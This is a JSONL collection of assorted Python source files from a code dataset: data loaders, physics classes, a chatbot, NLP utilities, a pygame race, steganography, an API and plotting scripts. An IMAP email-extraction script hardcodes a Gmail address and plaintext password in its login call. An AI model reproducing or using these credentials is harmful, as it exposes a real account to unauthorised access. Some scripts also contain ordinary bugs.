+{"seq_id":"644419173","text":"from torch.utils import data\n\n\ndef run_pipeline(in_dict, pipeline):\n    \"\"\"\n    按照顺序执行pipeline中各个方法\n    :param in_dict: 一个dict，负责储存pipeline的输入(包含第一个method的输入key即可）\n    :param pipeline: 要执行的pipeline\n    :return: 一个dict，即pipeline中最后一个method的输出\n    \"\"\"\n    # 取出第一个method的in_key的东西，放到一个新的dict\n    tmp_dict = {}\n    for _key in pipeline[0]['in_key']:\n        tmp_dict[_key] = in_dict[_key]\n    for method in pipeline:\n        if method['method'] is not None:\n            tmp_dict = method['method'](**tmp_dict)\n        else:  # 如果为None，则有传递（or重新命名)的作用\n            _tmp_dict = {}\n            for _index, _key in enumerate(method['out_key']):\n                _tmp_dict[_key] = tmp_dict[method['in_key'][_index]]\n            tmp_dict = _tmp_dict\n    return tmp_dict\n\ndef chechout_pipeline(pipeline):\n    \"\"\"\n    检查pipeline中各个方法的一致性,即输入输出能否串联上，\n    如果方法为 None，则只是传递作用，对应的in_key和out_key必须一致\n    :param pipeline:\n    :return:\n    \"\"\"\n    step_num = len(pipeline)\n    # 首先检查输入输出能否串联上\n    for index in range(step_num-1):\n        method = pipeline[index]\n        next_method = pipeline[index+1]\n        # print('checking method: t method ',str(method['method']),\n        #       '  t+1 method ', str(next_method['method']))\n        if method['out_key'] != next_method['in_key']:\n            raise ValueError('out_keys do not match in_key')\n    # 其次检查None方法是否in和out数量一致\n    for method in pipeline:\n        if method['method'] is None:\n            if len(method['in_key']) != len(method['out_key']):\n                raise ValueError('None_method must have the same length of in_key and out_keys')\n    return 1\n\n\nclass wama_dataset(data.Dataset):\n    def __init__(self, input_dict_list, pipeline_list):\n        \"\"\"\n        :param input_dict_list: 是一个list，每个element是一个sample\n        :param pipeline_list: 由许多个pipeline构成的list，会依次执行其中的pipeline\n        :param mode:\n        \"\"\"\n\n        self.input_dict_list = input_dict_list\n        self.pipeline_list = pipeline_list\n\n    def __len__(self):\n        return len(self.input_dict_list)\n\n    def __getitem__(self, index):\n        # 取出一个sample\n        indict = self.input_dict_list[index]\n        # 提前构造返回值，也是个dict结构\n        out_dict = {}\n        # 一次调用pipeline_list中的各个pipeline\n        for pipeline in self.pipeline_list:\n            # 检查pipeline\n            chechout_pipeline(pipeline)\n            # 执行pipeline\n            tmp_dict = run_pipeline(in_dict=indict, pipeline=pipeline)\n            # 储存结果（or覆盖之前pipeline的某些结果）\n            out_dict.update(tmp_dict)\n\n        # 注意，out_dict中每一个值只能为‘字符串’，值和数组（torch限制），注意自查\n        return out_dict\n\n\n\ndef get_loader(input_dict_list, pipeline_list, num_workers = 0, pin_memory=False, batch_size = 3, drop_last = True):\n    dataset = wama_dataset(input_dict_list=input_dict_list, pipeline_list=pipeline_list)\n    data_loader = data.DataLoader(dataset=dataset,\n                                  batch_size=batch_size,\n                                  shuffle=True,\n                                  num_workers=num_workers,\n                                  drop_last=drop_last,\n                                  pin_memory=pin_memory)\n    return data_loader\n","sub_path":"proj/wama/data_loader_beta.py","file_name":"data_loader_beta.py","file_ext":"py","file_size_in_byte":3623,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"4074084","text":"# Written 23/05/17 by dh4gan\n# Class for the Sail Object\n\nimport vector\nfrom numpy import cos\n\n# Some useful physical constants\n\nAU = AU = (149.6e6 * 1000)\n\n# Sun\nsun_radius = 695700000  # [m]\nsun_mass = 1.989 * 10**30  # [kg]\nsun_luminosity = 3.86 * 10**26  # [Watt] stellar luminosity\nsun_Bfield_1AU = 5.0e-9 # Solar magnetic field strength at 1 AU (Tesla)\n\n# CenA:\nL_star_CenA = sun_luminosity * 1.522\nR_star_CenA = sun_radius * 1.224\nM_star_CenA = sun_mass * 1.105\n\n# CenB:\nL_star_CenB = sun_luminosity * 0.503\nR_star_CenB = sun_radius * 0.863\nM_star_CenB = sun_mass * 0.934\n\n# CenC:\nL_star_CenC = sun_luminosity * 138 * 10e-6\nR_star_CenC = sun_radius * 0.145\nM_star_CenC = sun_mass * 0.123\n\n\n\nclass Star(object):\n    \n    \n    def __init__(self,m,R,L,B,pos,vel,magmom=vector.Vector3D(0.0,0.0,1.0)):\n        '''Initialises star with mass, radius, B-field, position, velocity'''\n        self.M = m\n        self.R = R\n        self.L = L\n        self.B1AU = B\n        self.position = pos\n        self.velocity = vel\n        self.magmoment = magmom\n        \n    def __str__(self):\n        s= 'Star: mass %e radius %e luminosity %e\\n' % (self.M/sun_mass, self.R/sun_radius, self.L/sun_luminosity)\n        s = s+\"Position: \"+str(self.position)+\"\\n\"\n        s = s+\"Velocity: \"+str(self.velocity)+\"\\n\"\n        s = s+\"Mag Moment: \"+str(self.magmoment)+\"\\n\"\n        return s\n    \n    def get_magnetic_field_dipole(self,position):\n        '''Returns a spherically symmetric dipole magnetic field\n        NB: Calculated in 3D'''\n\n        sepvector = position.subtract(self.position).scalarmult(1.0/AU)\n    \n        sep = sepvector.mag()\n        sep2 = sep*sep\n        sep3 = sep2*sep\n    \n        sepvector = sepvector.unitVector()\n    \n        mdotr = self.magmoment.dot(sepvector)\n    \n        prefac = self.B1AU/sep3\n    \n        Bfield = sepvector.scalarmult(3.0*prefac*mdotr)\n        Bfield = Bfield.subtract(self.magmoment.scalarmult(prefac))\n\n        return Bfield\n    \n    \n    ","sub_path":"star.py","file_name":"star.py","file_ext":"py","file_size_in_byte":1978,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"644438761","text":"import json\nimport random\n\nwith open(\"data.json\") as file:\n    data = json.load(file)\n\ndef stringify(string):\n    # This function removes characters that are inside the 'unwanted_chars' from the 'string' arguement\n    word = []\n    newString = \"\"\n    unwanted_chars = [\"!\", \"?\", \".\", \",\", \"(\", \")\", \"&\", \";\", '\"', \"'\", \"@\"]\n    stringLength = len(string)\n\n    for char in string:\n        word.append(char)\n        for unwanted_char in unwanted_chars:\n            if unwanted_char in word:\n                stringLength -= len(unwanted_char)\n                index = word.index(unwanted_char)\n                word.pop(index)\n\n    for char in word:\n        newString += char\n    return newString  # ==> newstring is the string remove all those symbols\n\nrunning = True\nwhile running:\n    userInput = input('> ')\n    stringify(userInput)\n    print(userInput)\n    response = \"\"\n    for dict in data['data']:\n        for pattern in dict['input_pattern']:\n            if userInput == pattern:\n                resp = random.choice(dict['response'])\n                print(resp)\n\n    if userInput in data[\"exit\"][\"exit_pattern\"]:\n        running = False\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1142,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"592844832","text":"# -*- coding:utf-8 -*-\n\nimport uuid\n\nfrom .fs import read_file\nfrom .date import now\nfrom .date import timestamp\n\n\ndef load_data(file):\n    u\"\"\"加载数据\n\n    Parameters\n    ----------\n    file : str\n        文件路径\n\n    Returns\n    -------\n    list\n\n    \"\"\"\n    text = read_file(file)\n\n    if text is None:\n        return []\n\n    lines = text.split(\"\\n\")\n\n    return [line.strip() for line in lines if line.strip() != \"\"]\n\n\ndef load_dict(file, mode=\"list\"):\n    u\"\"\"加载词典\n\n    Parameters\n    ----------\n    file : str\n        文件路径\n    mode : {\"list\", \"set\"}, optional, default=\"list\"\n        类型\n\n    Returns\n    -------\n    {list, set}\n\n        [\"啊\", \"呀\"]\n        {\"啊\", \"呀\"}\n\n    \"\"\"\n    words = load_data(file)\n\n    if mode == \"set\":\n        words = set(words)\n\n    return words\n\n\ndef load_syn_dict(file, mode=\"list\"):\n    u\"\"\"加载替换词典\n\n    Parameters\n    ----------\n    file : str\n        文件路径\n    mode : {\"list\", \"set\"}, optional, default=\"list\"\n        类型\n\n    Returns\n    -------\n    {[[str]], {str : set}}\n\n    \"\"\"\n    lines = load_data(file)\n\n    if mode == \"set\":\n        syn_dict = {}\n\n        for line in lines:\n            line_splited = line.split()\n            word = line_splited[0]\n            if word not in syn_dict:\n                syn_dict[word] = set()\n            syn_dict[word] = syn_dict[word] | set(line_splited[1:])  # key重复会\n    else:\n        syn_dict = [\n            line.split()\n            for line in lines]\n\n    return syn_dict\n\n\ndef clean_text(text, word_dict):\n    u\"\"\"替换文档里的词\n\n    Parameters\n    ----------\n    text : str\n        待替换的文本\n    word_dict : list\n        词典\n\n    Returns\n    -------\n    str\n\n    \"\"\"\n    for item in word_dict:\n        new = item[0]\n        for old in item[1:]:\n            text = text.replace(old, new)\n\n    return text\n\n\ndef clean_word(word, word_dict, mode=\"list\"):\n    u\"\"\"替换词\n\n    Parameters\n    ----------\n    word : str\n        待替换的词\n    word_dict : {list, dict}\n        词典\n    mode : {\"list\", \"set\"}, optional, default=\"list\"\n        类型\n\n    Returns\n    -------\n    str\n\n    Notes\n    -----\n    同一个词只会匹配一次\n    \"\"\"\n    if mode == \"set\":\n        for item in word_dict:\n            if word in word_dict[item]:\n                return item\n    else:\n        for item in word_dict:\n            if word in item:\n                return item[0]\n\n    return word\n\n\ndef generate_name(mode=\"time\"):\n    u\"\"\"命名\n\n    Parameters\n    ----------\n    mode : {\"time\", \"uuid\", \"timestamp\"}, optional, default=\"time\"\n        类型\n\n    Returns\n    -------\n    str\n\n    \"\"\"\n    if mode == \"uuid\":\n        return str(uuid.uuid1())\n    elif mode == \"timestamp\":\n        return str(timestamp())\n    else:\n        return now(\"%Y%m%d%H%M%S\")\n","sub_path":"nlptools/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2827,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"245733488","text":"import imaplib\nimport email\nmail = imaplib.IMAP4_SSL('imap.gmail.com')\n#imaplib module implements connection based on IMAPv4 protocol\nmail.login(' upfeatemailproject@gmail.com', 'Ouvert2019')\n\nmail.list() #lists all labels in gmail\nmail.select('inbox') #connect to inbox\n\n\n#Fetching the latest emails\nresult, data = mail.uid('search',None, \"ALL\") #search and return uids instead\n\ni = len(data[0].split())\nfor x in range(i):\n    latest_email_uid = data[0].split()[x] #get the latest\n\n    result, email_data = mail.uid('fetch',latest_email_uid, '(RFC822)') #Fetch\n\n    raw_email = email_data[0][1] #here's the body, which is raw text of\n    #including headers and alternate payloads\n\nraw_email_string = raw_email.decode('utf-8')\n#converts byte literal to string removing b''\nemail_message = email.message_from_string(raw_email_string)\n#loop in all the the avail multipart in the emails\nfor part in email_message.walk():\n if part.get_content_type() == \"text/plain\": #ignore attachments/html\n     body = part.get_payload(decode=True)\n     save_string = str(\"D:Dumpgmailemail_\" + str(x) + \".txt\")\n     #locate on disk\n     myfile = open(save_string, 'a')\n     myfile.write(body.decode('utf-8'))\n     #body is again a byte literal\n     myfile.close()\n else:\n     continue\n","sub_path":"e_excell_project/extraction_email.py","file_name":"extraction_email.py","file_ext":"py","file_size_in_byte":1266,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"615939017","text":"#题目：判断101-200之间有多少个素数，并输出所有素数。\n#程序分析：判断素数的方法：用一个数分别去除2到sqrt(这个数)，如果能被整除，则表明此数不是素数，反之是素数。 \nimport math\n\ndef su(n):\n    m = int(math.sqrt(n))\n    for i in range(2,m):\n        if n % i == 0:\n            break\n        return n\n\nfor i in range(101,200):\n    print(su(i))","sub_path":"Python3/python100/12.0.py","file_name":"12.0.py","file_ext":"py","file_size_in_byte":407,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"247032815","text":"import numpy as np\r\nimport matplotlib.pyplot as plt\r\nimport matplotlib.animation as animation\r\nimport mpl_toolkits.mplot3d.axes3d as p3\r\nfrom matplotlib import style\r\n\r\nstyle.use('fivethirtyeight')\r\nfig = plt.figure()\r\n# ax1 = fig.add_subplot(1,1,1)        # for 2d Plotting\r\nax1 = p3.Axes3D(fig)       # for 3D plotting\r\n\r\n\r\ndef animate(i):\r\n    file_data = open('rotation_matrix_demo.txt', 'r').read()        # read the file, associate with a file pointer/ object\r\n    # print(file_data)\r\n    lines = file_data.split('\\n')       ## read all lines, split with \\n and store in a list\r\n    roll = lines[0].split(':')          # lines[0] stores 1st line in file. roll becomes a list, split by :\r\n    pitch = lines[1].split(':')\r\n    yaw = lines[2].split(':')\r\n\r\n    # print(roll[1])\r\n    # print(pitch[1])\r\n    # print([1])\r\n\r\n    phi = float(roll[1])    # phi is the 2nd value in te roll list, this a string and is converted to float\r\n    theta = float(pitch[1])\r\n    psi = float(yaw[1])\r\n\r\n    # print(phi,'  ',theta,'  ',psi, type(phi))\r\n    vector = np.array([2,5,0])  # input arbitary vector/ point.\r\n    t = rotate_z(psi,vector)    # cal new position and return vector\r\n\r\n    ax1.clear()     # clears the plot every iteration\r\n    ax1.plot([0,vector[0]],[0,vector[1]], [0,0],'b')       # plot input arbitary vector\r\n    ax1.plot([0, t[0]], [0, t[1]], [0,0], 'r')              # plot repositioned vector\r\n    # ax1.set_aspect('equal', 'box')                  # make the axis equal\r\n    # ax1.axis([-10,10,-10,10])                       # set limits on axis.\r\n\r\n\r\n    # Setting the axes properties\r\n    ax1.set_xlim3d([-10.0, 10.0])\r\n    ax1.set_xlabel('X')\r\n    ax1.set_ylim3d([-10.0, 10.0])\r\n    ax1.set_ylabel('Y')\r\n    ax1.set_zlim3d([-10.0, 10.0])\r\n    ax1.set_zlabel('Z')\r\n    ax1.set_title('3D Test')\r\n\r\n\r\n\r\n\r\ndef rotate_z(psi, v):\r\n    psi_d = psi * np.pi/180.0       # convert deg to radians.\r\n    mat_z = np.array([[np.cos(psi_d), - np.sin(psi_d),  0],\r\n                      [np.sin(psi_d),   np.cos(psi_d),  0],\r\n                      [0            ,               0,  1]])\r\n    m = np.matmul(mat_z,v)      # perform mat mul\r\n\r\n    print(m)\r\n    return m\r\n\r\n\r\n\r\nani = animation.FuncAnimation(fig, animate, interval=100)\r\nplt.show()\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n","sub_path":"rotation_matrix_demo.py","file_name":"rotation_matrix_demo.py","file_ext":"py","file_size_in_byte":2271,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"221853120","text":"\"\"\"\r\nUm funcionário de uma empresa recebe aumento salarial anualmente: Sabe-se que:\r\nEsse funcionário foi contratado em 1995, com salário inicial de R$ 1.000,00;\r\nEm 1996 recebeu aumento de 1,5% sobre seu salário inicial;\r\nA partir de 1997 (inclusive), os aumentos salariais sempre correspondem ao dobro do percentual do ano anterior.\r\nFaça um programa que determine o salário atual desse funcionário.\r\nApós concluir isto, altere o programa permitindo que o usuário digite o salário inicial do funcionário.\r\n\"\"\"\r\nfrom datetime import datetime\r\n\r\nhoje = datetime.now().year  # ano atual\r\n\r\nwhile True:\r\n    try:\r\n        salario = float(input('Salario: R$'))\r\n        break\r\n    except ValueError:\r\n        print('Valor inválido!\\n')\r\n\r\ntaxa_aum = 0.015\r\n\r\nnovo_salario = salario * (1 + taxa_aum)\r\n\r\nfor s in range(1997, hoje + 1):\r\n    taxa_aum *= 2\r\n    novo_salario += salario * (1 + taxa_aum)\r\n\r\nprint(f'O salario atual é de R${novo_salario:.2f}')\r\n","sub_path":"03_Estrutura_de_Repeticao/38-AumentoDeSalario.py","file_name":"38-AumentoDeSalario.py","file_ext":"py","file_size_in_byte":965,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"424687789","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import models, migrations\nimport datetime\nfrom django.utils.timezone import utc\n\n\nclass Migration(migrations.Migration):\n\n    dependencies = [\n        ('webAPI', '0007_auto_20141119_1452'),\n    ]\n\n    operations = [\n        migrations.AlterField(\n            model_name='panel_reading',\n            name='created',\n            field=models.DateTimeField(default=datetime.datetime(2014, 11, 19, 14, 58, 43, 789126, tzinfo=utc), auto_now_add=True),\n            preserve_default=False,\n        ),\n        migrations.AlterField(\n            model_name='panel_reading',\n            name='timestamp',\n            field=models.DateTimeField(null=True),\n            preserve_default=True,\n        ),\n    ]\n","sub_path":"server/slipserver/webAPI/migrations/0008_auto_20141119_1458.py","file_name":"0008_auto_20141119_1458.py","file_ext":"py","file_size_in_byte":778,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"39255737","text":"import logging\n\nfrom flask_restplus import Resource, reqparse\n\n\nclass Index(Resource):\n    def get(self):\n        return {\n            \"description\": \"Currency exchange API\",\n            \"version\": self.api.app.config[\"VERSION\"]\n        }\n\n\nclass SupportedCurrencies(Resource):\n    def get(self):\n        return {\n            \"supported_currencies\": self.api.app.config[\"SUPPORTED_CURRENCIES\"]\n        }\n\n\nclass Quote(Resource):\n    def __init__(self, *args, **kwargs):\n        super(Quote, self).__init__(*args, **kwargs)\n        self.client = self.api.app.exchange_client\n        self.parser = reqparse.RequestParser()\n        self.parser.add_argument(\n            \"from_currency_code\",\n            type=str,\n            required=True,\n            choices=self.api.app.config[\"SUPPORTED_CURRENCIES\"]\n        )\n        self.parser.add_argument(\n            \"to_currency_code\",\n            type=str,\n            required=True,\n            choices=self.api.app.config[\"SUPPORTED_CURRENCIES\"]\n        )\n        self.parser.add_argument(\n            \"amount\",\n            type=int,\n            required=True\n        )\n\n    def get(self):\n        args = self.parser.parse_args()\n        from_currency = args[\"from_currency_code\"]\n        to_currency = args[\"to_currency_code\"]\n        amount = args[\"amount\"]\n        try:\n            exchange_rate = self.client.get_exchange_rate(from_currency, to_currency)\n        except Exception as e:\n            logging.log(logging.ERROR, e)\n            return {\"error\": \"Could not get exchange rates\"}, 502\n        return {\n            \"exchange_rate\": round(exchange_rate, 3),\n            \"amount\": round(amount * exchange_rate),\n            \"currency_code\": to_currency,\n        }\n","sub_path":"api/resources.py","file_name":"resources.py","file_ext":"py","file_size_in_byte":1719,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"188840259","text":"# Tai Sakuma <tai.sakuma@gmail.com>\nimport pytest\nimport time\nimport multiprocessing\n\ntry:\n    import unittest.mock as mock\nexcept ImportError:\n    import mock\n\nfrom alphatwirl.progressbar import ProgressReportPickup\n\n##__________________________________________________________________||\n@pytest.fixture()\ndef presentation():\n    return mock.MagicMock()\n\n##__________________________________________________________________||\n@pytest.fixture()\ndef queue():\n    return multiprocessing.Queue()\n\n@pytest.fixture()\ndef pickup(queue, presentation):\n    return ProgressReportPickup(queue, presentation)\n\n##__________________________________________________________________||\ndef test_start_join(pickup, queue, presentation):\n    presentation.active.return_value = True\n    pickup.start()\n    queue.put(None)\n    pickup.join()\n\n##__________________________________________________________________||\n@pytest.fixture()\ndef mock_queue():\n    return mock.MagicMock()\n\n@pytest.fixture()\ndef pickup0(mock_queue, presentation):\n    return ProgressReportPickup(mock_queue, presentation)\n\n##__________________________________________________________________||\ndef test_run_until_the_end_order_arrives_no_report(pickup0, mock_queue, presentation):\n\n    mock_queue.empty.side_effect = [False, True]\n    mock_queue.get.side_effect = [None]\n    pickup0._run_until_the_end_order_arrives()\n\n    assert [] == presentation.mock_calls\n\ndef test_run_until_the_end_order_arrives_one_report(pickup0, mock_queue, presentation):\n\n    report = mock.MagicMock()\n    mock_queue.empty.side_effect = [False, False, True]\n    mock_queue.get.side_effect = [report, None]\n    pickup0._run_until_the_end_order_arrives()\n\n    assert [mock.call.present(report)] == presentation.mock_calls\n\ndef test_run_until_the_end_order_arrives_one_report_once_empty(pickup0, mock_queue, presentation):\n\n    report1 = mock.MagicMock()\n    mock_queue.empty.side_effect = [False, True, False, True] # it becomes empty once\n    mock_queue.get.side_effect = [report1, None]\n    pickup0._run_until_the_end_order_arrives()\n\n    assert [mock.call.present(report1)] == presentation.mock_calls\n\ndef test_run_until_the_end_order_arrives_two_reports(pickup0, mock_queue, presentation):\n\n    report1 = mock.MagicMock()\n    report2 = mock.MagicMock()\n    mock_queue.empty.side_effect = [False, False, False, True]\n    mock_queue.get.side_effect = [report1, None, report2] # report2 arrives\n                                                          # after the end_order\n    pickup0._run_until_the_end_order_arrives()\n\n    assert [mock.call.present(report1), mock.call.present(report2)] == presentation.mock_calls\n\n##__________________________________________________________________||\n@pytest.fixture()\ndef mocktime(monkeypatch):\n    ret = mock.MagicMock(return_value = 1000.0)\n    monkeypatch.setattr(time, 'time', ret)\n    return ret\n\ndef test_run_until_reports_stop_coming_no_report(pickup0, mock_queue, presentation, mocktime):\n    presentation.active.side_effect = [False]\n    pickup0._run_until_reports_stop_coming()\n    assert [] == presentation.present.mock_calls\n\ndef test_run_until_reports_stop_coming_one_report(pickup0, mock_queue, presentation, mocktime):\n    presentation.active.side_effect = [True, False]\n    report = mock.MagicMock()\n    mock_queue.empty.side_effect = [False, False, True]\n    mock_queue.get.side_effect = [report, None]\n    pickup0._run_until_reports_stop_coming()\n    assert [mock.call(report)] == presentation.present.mock_calls\n\ndef test_run_until_reports_stop_coming_one_report_timeout(pickup0, mock_queue, presentation, mocktime):\n    presentation.active.return_value = True\n    report = mock.MagicMock()\n    mock_queue.empty.return_value = True\n    mock_queue.get.side_effect = [report, None]\n    mocktime.side_effect = [1000.0, 1003.0]\n    pickup0._run_until_reports_stop_coming()\n    assert [ ] == presentation.present.mock_calls\n\n##__________________________________________________________________||\n","sub_path":"tests/unit/progressbar/test_ProgressReportPickup.py","file_name":"test_ProgressReportPickup.py","file_ext":"py","file_size_in_byte":3978,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"490422499","text":"import pygame, sys\nimport random\n\nclass Runner():\n    __customes = (\"turtle\", \"fish\", \"prawn\", \"moray\", \"octopus\")\n    def __init__(self, x=0, y=0):\n        ixCustome =random.randint(0,4)\n        \n        self.custome =pygame.image.load(\"images/{}.png\".format(__self.customes[ixCustome]))\n        self.position = [x,y]\n        self.name = \"\"\n        \n    def avanzar (self):\n        self.position [0] += random.randint (1,6)\n\nclass Game():\n    runners= []\n    __posY= (160, 200, 240, 280)\n    __names= (\"Speedy\", \"Lucera\", \"Alonso\", \"Torcuata\")\n    __startLine=-5\n    __finishLine =620\n    \n    def __init__(self):\n        self.__screen = pygame.display.set_mode((640, 480))\n        self.__background = pygame.image.load(\"images/background.png\")\n        pygame.display.set_caption (\"Carrera de bichos\")\n        \n        for i in range (4):\n            theRunner = Runner (self.__startLine,self.__posY[i])\n            theRunner.name = self.__names[i]\n            self.runners.append(theRunner)\n    \n        \n    def competir (self):\n        gameOver =False\n        #comprobamos eventos\n        while not gameOver:\n            for event in pygame.event.get():\n                if event.type== pygame.QUIT:\n                    gameOver =True\n                    \n            #actualizamos codigo\n            for activeRunner in self.runners:\n                active.Runner.avanzar()\n                if activeRunner.position[0] >= self.__finishLine:\n                    print (\"{} ha ganado\".format(activeRunner. name))\n                    \n            # Refrescamos la pantalla\n            self.__screen.blit(self.__background, (0,0))\n            \n            for runner in self.__runners:\n                self.__screen.blit(runner.costume, runner.position)\n\n            pygame.dispay.flip()\n            \n        #En el momento que tenemos un ganador cerramos programa    \n        while True:\n            for event in pygame.event.get():\n                if event.type==pygame.QUIT():\n                    pygame.quit()\n                    sys.exit\n        \n        \nif __name__== \"__main__\":\n    \n    game = Game()\n    pygame.font.init()\n    game.competir()","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2151,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"253441982","text":"\"\"\"A program that encodes and decodes hidden messages in images through LSB steganography\"\"\"\nfrom PIL import Image, ImageFont, ImageDraw\nimport textwrap\n\ndef decode_image(file_location=\"images/encoded_sample.png\"):\n    \"\"\"Decodes the hidden message in an image\n\n    file_location: the location of the image file to decode. By default is the provided encoded image in the images folder\n    \"\"\"\n    encoded_image = Image.open(file_location)\n\n    x_size = encoded_image.size[0]\n    y_size = encoded_image.size[1]\n\n    decoded_image = Image.new(\"RGB\", encoded_image.size)\n    pixels = decoded_image.load()\n\n    for x in range(x_size):\n        for y in range(y_size):\n            if lsb_of_red_pixel(encoded_image, x, y):\n                pixels[x, y] = (255,255,255)\n            else:\n                pixels[x, y] = (0, 0, 0)\n\n            #pixels[x, y] = [(0,0,0) if lsb_of_pixel(red_channel, x, y) else (1,1,1)]\n\n    decoded_image.save(\"images/decoded_image.png\")\n    decoded_image.show()\n\ndef write_text(text_to_write, image_size):\n    \"\"\"Writes text to an RGB image. Automatically line wraps\n\n    text_to_write: the text to write to the image\n    image_size: size of the resulting text image. Is a tuple (x_size, y_size)\n    \"\"\"\n    image_text = Image.new(\"RGB\", image_size)\n    font = ImageFont.load_default().font\n    drawer = ImageDraw.Draw(image_text)\n\n    #Text wrapping. Change parameters for different text formatting\n    margin = offset = 10\n    for line in textwrap.wrap(text_to_write, width=60):\n        drawer.text((margin,offset), line, font=font)\n        offset += 10\n    return image_text\n\ndef encode_image(text_to_encode, template_image=\"images/samoyed.jpg\", output_image=\"images/samoyed.secret.png\"):\n    \"\"\"Encodes a text message into an image\n\n    text_to_encode: the text to encode into the template image\n    template_image: the image to use for encoding. An image is provided by default.\n    \"\"\"\n\n    image = Image.open(template_image)\n    pixels = image.load()\n\n    x_size = image.size[0]\n    y_size = image.size[1]\n\n    for x in range(x_size):\n        for y in range(y_size):\n            if lsb_of_red_pixel(image, x, y):\n                pixels[x,y] = (image.getpixel((x, y))[0] - 1, image.getpixel((x, y))[1], image.getpixel((x, y))[2])\n\n    text_image = Image.new(\"RGB\", image.size)\n\n    usr_font = ImageFont.truetype(\"ComicNeue.otf\", 25)\n    d_usr = ImageDraw.Draw(text_image)\n    d_usr = d_usr.text((10,10), text_to_encode, (255,255,255), font=usr_font)\n\n    for x in range(x_size):\n        for y in range(y_size):\n            if lsb_of_red_pixel(text_image, x, y):\n                pixels[x,y] = (image.getpixel((x, y))[0] + 1, image.getpixel((x, y))[1], image.getpixel((x, y))[2])\n\n    image.save(output_image)\n\n\n\ndef lsb_of_red_pixel(image, x, y):\n    return image.getpixel((x, y))[0] % 2\n\nif __name__ == '__main__':\n    # print(\"Decoding the image...\")\n    # decode_image()\n\n    print(\"Encoding the image...\")\n    encode_image(\"Hi meme\")\n\n    print(\"Decoding Encoded image...\")\n    decode_image(\"images/samoyed.secret.png\")\n","sub_path":"steganography.py","file_name":"steganography.py","file_ext":"py","file_size_in_byte":3052,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
+{"seq_id":"568226148","text":"import matplotlib.pyplot as plt\nimport pandas as pd\nimport seaborn as sns\nfrom pandas.plotting import register_matplotlib_converters\nregister_matplotlib_converters()\n\n# Import data (Make sure to parse dates. Consider setting index column to 'date'.)\ndf = pd.read_csv('./fcc-forum-pageviews.csv', index_col=0, parse_dates=True)\n\n# Clean data\ndf = df[(df['value'] >= (df['value'].quantile(0.025))) & (df['value'] <= (df['value'].quantile(0.975)))]\n\ndef draw_line_plot():\n    # Draw line plot\n    fig = df.plot(title='Daily freeCodeCamp Forum Page Views 5/2016-12/2019', \n                xlabel='Date',\n                ylabel='Page Views',\n                figsize=(15,5),\n                legend=False,\n                style='-r').get_figure()\n\n    # Save image and return fig (don't change this part)\n    fig.savefig('line_plot.png')\n    return fig\n\ndef draw_bar_plot():\n    # Copy and modify data for monthly bar plot\n    df_bar = df.copy()\n    df_bar['year'] = df_bar.index.year\n    df_bar['Months'] = df_bar.index.month_name()\n\n    months = ['January', 'February', 'March', 'April','May','June', 'July', 'August','September', 'October', 'November', 'December']\n    df_bar['Months'] = pd.CategoricalIndex(df_bar['Months'], categories=months, ordered=True)\n\n    df_bar.set_index('year', inplace=True)\n    df_bar = df_bar.groupby([df_bar.index, df_bar['Months']])['value'].sum().unstack()\n\n    # Draw bar plot\n    fig = df_bar.plot(kind='bar',\n                    xlabel='Years',\n                    ylabel='Average Page Views',\n                    figsize=(9,9),\n                    legend=True).get_figure()\n\n    # Save image and return fig (don't change this part)\n    fig.savefig('bar_plot.png')\n    return fig\n\ndef draw_box_plot():\n    # Prepare data for box plots (this part is done!)\n    df_box = df.copy()\n    df_box.reset_index(inplace=True)\n    df_box['Year'] = [d.year for d in df_box.date]\n    df_box['Month'] = [d.strftime('%b') for d in df_box.date]\n    df_box = df_box.rename(columns={'value':'Page Views'})\n\n    # Draw box plots (using Seaborn)\n    fig, (ax1, ax2) = plt.subplots(1, 2, figsize=(15, 8))\n    \n    sns.boxplot(x='Year', y='Page Views', data=df_box, ax=ax1)\n    sns.boxplot(x='Month', y='Page Views', data=df_box, ax=ax2, \n                order=['Jan', 'Feb', 'Mar', 'Apr','May','Jun', 'Jul', 'Aug','Sep', 'Oct', 'Nov', 'Dec'])\n    ax1.set_title('Year-wise Box Plot (Trend)')\n    ax2.set_title('Month-wise Box Plot (Seasonality)')\n\n    # Save image and return fig (don't change this part)\n    fig.savefig('box_plot.png')\n    return fig\n","sub_path":"8-Data_Analysis_with_Python_Certification/4-Page_View_Time_Series_Visualizer/time_series_visualizer.py","file_name":"time_series_visualizer.py","file_ext":"py","file_size_in_byte":2562,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"74"}
